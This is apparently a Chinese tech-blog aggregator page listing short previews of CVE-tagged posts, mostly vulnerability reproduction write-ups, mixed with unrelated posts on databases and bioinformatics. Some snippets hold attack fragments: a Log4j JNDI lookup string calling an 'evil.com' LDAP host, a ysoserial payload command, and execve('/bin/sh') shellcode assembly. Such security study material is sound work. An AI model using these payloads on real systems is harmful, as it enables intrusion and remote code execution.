CVE

三级_网络技术_32_网络管理技术

1.下列关于漏洞扫描技术和工具的描述中，错误的是()主动扫描工作方式类似于IDSCVE为每个漏洞确定了唯一的名称和标准化的描述X-Scanner采用多线程方式对指定IP地址段进行安全漏洞扫描ISS的SystemScanner
小红红的学习笔记·2024-08-26 00:48

mysql-connector-java与mysql、jdk的对应版本

【腾讯云】腾讯云数据库性能卓越稳定可靠，为您解决数据库运维难题云数据库购买页mysql-connector-java与Mysql对应版本：Connector/JversionDriverTypeJDBCversionMySQLServerversionStatus5.143.0,4.0,4.1,4.25.6
网厓Malico·2024-08-25 12:36

Electron WebPreferences 远程命令执行漏洞（CVE-2018-15685）

漏洞背景GitHubElectron是美国GitHub公司的一个应用程序开发框架。该框架支持使用JavaScript、HTML和CSS编写跨平台桌面应用程序。GitHubElectron中存在安全漏洞。远程攻击者可利用该漏洞执行代码。以下版本受到影响：GitHubElectron1.7.15版本，1.8.7版本，2.0.7版本，3.0.0-beta.6版本。Electron在设置了nodeInte
小 白 萝 卜·2024-08-25 04:42

【反序列化漏洞】关于反序列化漏洞的杂谈1 -- Apache Dubbo 反序列化漏洞 CVE-2023-29234

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、经典的序列化过程二、反序列化漏洞案例1.ApacheDubbo反序列化漏洞（CVE-2023-29234）2.解析漏洞问题
B1ackMa9ic·2024-08-24 13:44

cuML installation guidence

Mycomputer’sgpuisgtx3060ti,cudaversionis11.4.FirstChecktheversionofyourgcc,type“gcc-v”,ensuringthatyourgccversionis9orhigher
clancy_wu·2024-08-23 02:29

第13章 网络安全漏洞防护技术原理与应用

13.1.2网络安全漏洞威胁13.1.3网络安全漏洞问题现状CVE、CWE、FIRST、CVSS、NVD、13.2网络安全漏洞分类与管理13.2.1网络安全漏洞来源非技术性安全漏洞的主要来源网络安全责任主体不明确网络安全策略不完备网络安全操作技能不足网络安全监督
sinat_34066134·2024-08-22 16:59

tomcat9漏洞CVE-2024-23672

序号漏洞名称影响主机个数1ApacheTomcat安全漏洞(CVE-2024-23672)1/12ApacheTomcat输入验证错误漏洞(CVE-2024-24549)1/1漏洞名称：CVE-2024
耳边轻语999·2024-08-22 13:45

福建科立讯通信 指挥调度管理平台 SQL注入漏洞复现(CVE-2024-2620、CVE-2024-2621)

0x01产品简介福建科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。该产品旨在提供高效的指挥调度和管理解决方案，以帮助通信运营商或相关机构实现更好的运营效率和服务质量。该平台提供强大的指挥调度功能，可以实时监控和管理通信网络设备、维护人员和工作任务等。用户可以通过该平台发送指令、调度人员、分配任务，并即时获取现场反馈和报告。0x02漏洞概述福建科立讯通信指挥调度管理平台down_fil
OidBoy_G·2024-03-26 13:00

WordPress Plugin NotificationX插件 SQL注入漏洞复现（CVE-2024-1698）

0x01产品简介WordPress和WordPressplugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。0x02漏洞概述WordPresspluginNotificationX是一个应用插件。2.8.2版本及之前存在安全漏洞，该漏洞源于对用户提供的参数转义不充分以及对现有SQL查询缺乏充分
OidBoy_G·2024-03-24 12:01

软通动力华为java机考题库_软通动力Java考试题库.doc

(选择一项)CVectorStackEnumerationHashtable2)在J2EE中，下列元
假行酥·2024-03-20 00:08

OpenSSL 安全漏洞(CVE-2023-3817)

/secadv/20230731.txtOpenSSL安全建议[2023年7月31日]==========================================检查DHq参数值花费过多时间(CVE
鹊鹊_Y·2024-03-08 13:07

【C# 数据结构】图的最短路径 弗洛伊德（Floyd）算法

输出路径部分参考：https://blog.csdn.net/weixin_39956356/article/details/80620667点：classVertex{publicintdata;publicVerte
弹着吉他敲着代码·2024-02-26 18:06

寄予厚望！2024中科院《预警期刊名单》

点击下方卡片，关注“CVer”公众号AI/CV重磅干货，第一时间送达点击进入—>【论文投稿】微信交流群扫码加入CVer学术星球，可以获得最新顶会/顶刊上的论文idea和CV从入门到精通资料，以及最前沿项目和应用
Amusi（CVer）·2024-02-20 22:16

[CVE-2022-1388]F5-BIGIP iControl REST绕过授权访问漏洞

一、背景F5BIG-IP产品系列包括运行F5TMOS操作系统的硬件、模块化软件和虚拟设备。根据所选设备，可以添加一个或多个BIG-IP产品模块。产品包括：BIG-IP本地流量管理器(LTM)：基于全代理架构，具有缓存、压缩和tcp加速的本地负载平衡。BIG-IPDNS：智能全球站点负载平衡(GSLB)和权威DNS服务器。根据用户、网络和云性能条件分发DNS和应用程序请求。BIG-IP高级防火墙管理
一苇sec·2024-02-20 19:21

F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]

引言 F5BIG-IP广泛应用于大型企业，数据中心、云计算平台中，可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。这篇文章主要是复现F5的漏洞，包括其被远程代码执行的过程，以及探究以下我们可以在F5上远程执行代码之后可以做哪些事情。环境搭建 F5的环境搭建教程在网上可以查到很多，这里大概介绍以下流程与心得。首先搭建环境需要使用vmware软件运行F5的镜像来实现，需要下载并安装相关
Coder_preston·2024-02-20 19:51

F5 BIG-IP 高危漏洞可导致拒绝服务和代码执行

编译：代码卫士F5提醒称，BIG-IP中存在一个高危格式化字符串漏洞(CVE-2023-22374)，可导致认证攻击者触发拒绝服务条件并可能执行任意代码。
奇安信代码卫士·2024-02-20 19:20

【漏洞复现】F5 BIG-IP 远程代码执行漏洞(CVE-2023-46747)

F5BIG-IP远程代码执行漏洞(CVE-2023-46747)漏洞描述F5BIG-IP远程代码执行漏洞(CVE-2023-46747)，未经授权的远程攻击者通过管理端口或自身IP地址访问BIG-IP系统
webQD153·2024-02-20 19:19

黑客利用Exchange漏洞传播新型勒索病毒

根据微软官方统计，目前发现已有4个漏洞被用于攻击，分别为:CVE-2021-26855、CVE-2021-26857、CVE-2021-26858、CVE-2021-27065。
熊猫正正·2024-02-20 19:49

9、内网安全-横向移动&Exchange服务&有账户CVE漏洞&无账户口令爆破

用途：个人学习笔记，有所借鉴，欢迎指正！背景：在内网环境的主机中，大部分部署有Exchange邮件服务，对于Exchange服务的漏洞也是频出，在这种情况下，如果拿到内网中一台主机权限，便可以针对部署Exchange邮件服务的主机进行横向移动，以下包括三方面：Exchange探针、Exchange爆破、Exchange漏洞利用知识点：1、横向移动-内网服务-Exchange2、横向移动-无账户-E
++⁠⁠·2024-02-20 12:26

XMall 开源商城 SQL注入漏洞复现(CVE-2024-24112)

0x01产品简介XMall开源电商商城是开发者Exrick的一款基于SOA架构的分布式电商购物商城前后端分离前台商城:Vue全家桶后台管理:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等。0x02漏洞概述XMall开源商城/item/list、/item/listSearch、/sys/log、/order/list、/m
OidBoy_G·2024-02-20 11:27

vulhub中Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

ApacheLog4j2是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入，执行任意代码。1.服务启动后，访问`http://your-ip:8983`即可查看到ApacheSolr的后台页面。2.`$
余生有个小酒馆·2024-02-20 06:39

vulhub中Apache Log4j Server 反序列化命令执行漏洞复现（CVE-2017-5645）

ApacheLog4j是一个用于Java的日志记录库，其支持启动远程日志服务器。ApacheLog4j2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。1.我们使用ysoserial生成payload，然后直接发送给`your-ip:4712`端口即可。java-jarysoserial-master-v0.0.5-gb617b7b-16.jarCommonsCollect
余生有个小酒馆·2024-02-20 06:23

Nacos系统历史CVE漏洞的复现分析与检测

文章目录前言CVE-2021-29441认证绕过1.1环境搭建与复现1.2漏洞源码的分析1.3修复方案被绕过1.4衍生的默认凭据QVD-2023-6271默认密钥2.1环境搭建与复现2.2漏洞修复与现状
Tr0e·2024-02-19 16:24

Apache Apisix网关系统历史漏洞复现分析

文章目录前言CVE-2020-13945默认api令牌CVE-2021-45232未授权接口2.1默认账户密码导致RCE2.2未授权访问api接口RCECVE-2022-24112地址限制绕过CVE-2022
Tr0e·2024-02-19 16:46

CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析

目录（一）基本介绍1、微服务架构与SpringCloud2、SpringCloud生态3、网关作用4、SpringCloudGateway使用5、SpringCloudGateway概念5.1路由（Route）5.2断言（Predicate）5.3过滤器（Filter）6、SpringBootActuator6.1使用方法7、Gateway(网关服务)和Actuator(监控组件)8、Actuat
@Camelus·2024-02-19 13:52

【Web】CVE-2022-22947 SpringCloud Gateway SpEL漏洞学习

目录简介Actuator操作Gateway接口列表复现流程漏洞复现简单原理简介SpringBootActuator和SpringCloudGateway是Spring生态系统中的两个关键组件，它们在微服务架构中扮演着不同的角色，下面简要介绍它们之间的关系：SpringBootActuator：SpringBootActuator是SpringBoot提供的一个功能强大的监控和管理端点，可以用于监视
Z3r4y·2024-02-19 13:48

大盘点 | 何恺明团队在自监督领域的工作：MoCo三部曲

点击下方卡片，关注“CVer”公众号AI/CV重磅干货，第一时间送达本文转载自：Smarter趁着最近FAIR出了MoCov3，刚好凑够MoCo三部曲，从头捋一遍MoCo整个系列做了什么事情，探究MoCo
Amusi（CVer）·2024-02-19 12:18

CVE-2023-41892 漏洞复现

CVE-2023-41892开题，是一个RCEThanksforinstallingCraftCMS!
Jay 17·2024-02-15 01:52

CVE-2023-22602 漏洞复现

CVE-2023-22602简述：由于1.11.0及之前版本的Shiro只兼容Spring的ant-style路径匹配模式（patternmatching），且2.6及之后版本的SpringBoot将SpringMVC
Jay 17·2024-02-15 01:22

CVE-2023-3519 漏洞复现

CVE-2023-3519漏洞介绍：CitrixSystemsCitrixGateway（CitrixSystemsNetScalerGateway）和CitrixADC都是美国思杰系统（CitrixSystems
Jay 17·2024-02-15 01:52

信息安全中常用术语介绍

信息安全中常用术语介绍目录信息安全中常用术语介绍什么是VUL什么是0day漏洞和0day攻击什么是CVE什么是CWE什么是PoC什么是Exp什么是漏洞靶场什么是CVSS什么是OVAL什么是CCE什么是CPE
L.Lawliet·2024-02-14 17:35

C# WPF中图片剪裁并显示

XAML:wpf代码:首先要在nuget上安装emgucvusingEmgu.CV;usingEmgu.CV.Structure;usingEmgu.CV.CvEnum;usingSystem;usingSystem.Windows
zls365365·2024-02-14 16:21

Python版WGCNA分析和蛋白质相互作用PPI分析教程

在前面的教程中，我们介绍了使用omicverse完成基本的RNA-seq的分析流程，在本节教程中，我们将介绍如何使用omicverse完成加权基因共表达网络分析WGCNA以及蛋白质相互作用PPI分析。
Starlitnightly·2024-02-14 06:18

单细胞测序最好的教程（三）：特征基因选择

前言提到，在过去两天的教程中，我们讲解了使用omicverse进行单细胞测序数据的质控以及归一化的一些思想。
Starlitnightly·2024-02-14 06:18

Python版RNA-seq分析教程：DEseq2差异表达基因分析

BulkRNA-seq分析的一个重要任务是分析差异表达基因，我们可以用omicverse包来完成这个任务。
Starlitnightly·2024-02-14 06:48

Python转录组学分析框架：Omicverse的安装教程

Python转录组学分析框架：Omicverse的安装教程OmicVerse是用Python进行多组学（包括Bulk和单细胞分析）的基础框架。
Starlitnightly·2024-02-14 06:46

zookeeper未授权访问（CVE-2014-0085）漏洞修复建议

一、环境搭建安装dockersudosystemctlstartdocker拉取zookeeper镜像sudodockerpullwurstmeister/zookeeper启动zookeepersudodockerrun\-d\--restart=always\--log-driverjson-file\--log-optmax-size=100m\--log-optmax-file=2\--n
THZLYXX·2024-02-14 04:15

Docker Runc容器逃逸漏洞（CVE-2021-30465）离线修复

一、漏洞描述1、漏洞描述runc是一个轻量级通用容器运行环境，它允许一个简化的探针到运行和调试的底层容器的功能，不需要整个docker守护进程的接口。runc存在容器逃逸漏洞，该漏洞是由于挂载卷时，runc不信任目标参数，并将使用“filepath-securejoin”库来解析任何符号链接并确保解析的目标在容器根目录中，但是如果用符号链接替换检查的目标文件时，可以将主机文件挂载到容器中。攻击者可
THZLYXX·2024-02-14 04:15

墨者学院-Apache Struts2远程代码执行漏洞(S2-032)复现

靶场地址：https://www.mozhe.cn/bug/detail/NWZ1OHFUbDgxV3JNdDhMa0RHQ3BnZz09bW96aGUmozhe漏洞编号：CVE-2016-3081影响范围
nohands_noob·2024-02-13 22:33

git错误整理

remote:SupportforpasswordauthenticationwasremovedonAugust13,2021.参考：这篇即可GnuTLSrecverror(-110):TheTLSconnectionwasnon-properlyterminated
globbo·2024-02-13 20:52

CVE-2022-25487 漏洞复现

漏洞描述：AtomCMS2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。其实这就是一个文件上传漏洞罢了。。。。打开之后，/home路由是个空白信息搜集：该cms有默认邮箱/密码[email protected]/password，到/admin路由下尝试登录。Users下有个上传文件功能，可能是上传头像用的
Jay 17·2024-02-13 19:55

CVE-2022-25578 漏洞复现

CVE-2022-25578路由/admin/admin.php是后台，登录账号和密码默认是admin、tao，选择文件管理。
Jay 17·2024-02-13 08:33

什么是 SAP UI5 项目 ui5.yaml 文件中的 specVersion 字段

其中的specVersion字段，即规范版本，是一个重要的字段。specVersion字段是用来定义UI5Tooling的版本号的。为了理解其重要性，我们需要先了
·2024-02-12 21:53

vulnhub--＞hacksudo-Thor靶机详细思路

目录1.IP探测2.端口服务扫描3.网站漏洞扫描4.目录扫描5.信息分析6.破壳漏洞(Shellshock)nmap---漏洞检测CVE-2014-62717.nc反弹8.提权9.service提权1.
郑居中3.0·2024-02-12 15:47

OpenShift 4 - DevSecOps (4) - 实现一个 CICD Pipeline，并用 RHACS 发现安全隐患（附视频）

安装CodereadyWorkspace应用开发环境，导入应用代码（可选）构建并部署测试应用查看BuilderImage和AppImage的信息用RHACS发现容器镜像安全漏洞用RHACS查看可修复的CVE
dawnsky.liu·2024-02-12 08:19

JBOSS漏洞

Java反序列化RCE漏洞CVE-2015-7501漏洞由于JBoss中invoker/JMXInvokerServlet路径对外开放，JBoss的jmx组件支持Java反序列化invoker/JMXInvokerServlet
唐小风7·2024-02-12 00:48

CVer想知道的都在这里了，一起分析下《中国计算机视觉人才调研报告》吧！

最近闲来无事，老潘以一名普通算法工程师的角度，结合自身以及周围人的情况，理性也感性地分析一下极市平台前些天发布的2020年度中国计算机视觉人才调研报告。计算机人才年度报表以下的“计算机视觉人才”简称“人才”，感觉说人才有点怪怪的感觉？自己也算人才么？老潘只不过是一个普普通通的算法工程师罢了(逃)。一看就是知识分子这个报告一共分为几个方面，用大白话讲一下就是：计算机人才哪个城市最多，哪个专业最多、都
OLDPAN·2024-02-11 22:49

记一次挖矿木马样本分析

加密shell脚本生成的二进制文件在0000000000400F7E位置函数，找到了加载shell命令的位置shc部分源码/*shc.c*//***Thissoftwarecontainsanadhocversionofthe'AllegedRC4
·2024-02-11 18:31

CVE初探之漏洞反弹Shell（CVE-2019-6250）

该编号为CVE-2019-6250的远程执行漏洞，主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。
·2024-02-11 17:39

Linux x64下编写shellcode - execve(/bin/sh)

1、将下述汇编代码存储为sh.ssection.textglobal_start_start:pushraxxorrdx,rdxxorrsi,rsimovrbx,'/bin//sh'pushrbxpushrsppoprdimoval,59syscall2、用nasm编译执行nasm-felf64sh.s-osh.oldsh.o-osh3、显示汇编代码objdump--disassemble./sh
静析机言·2024-02-11 14:02
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他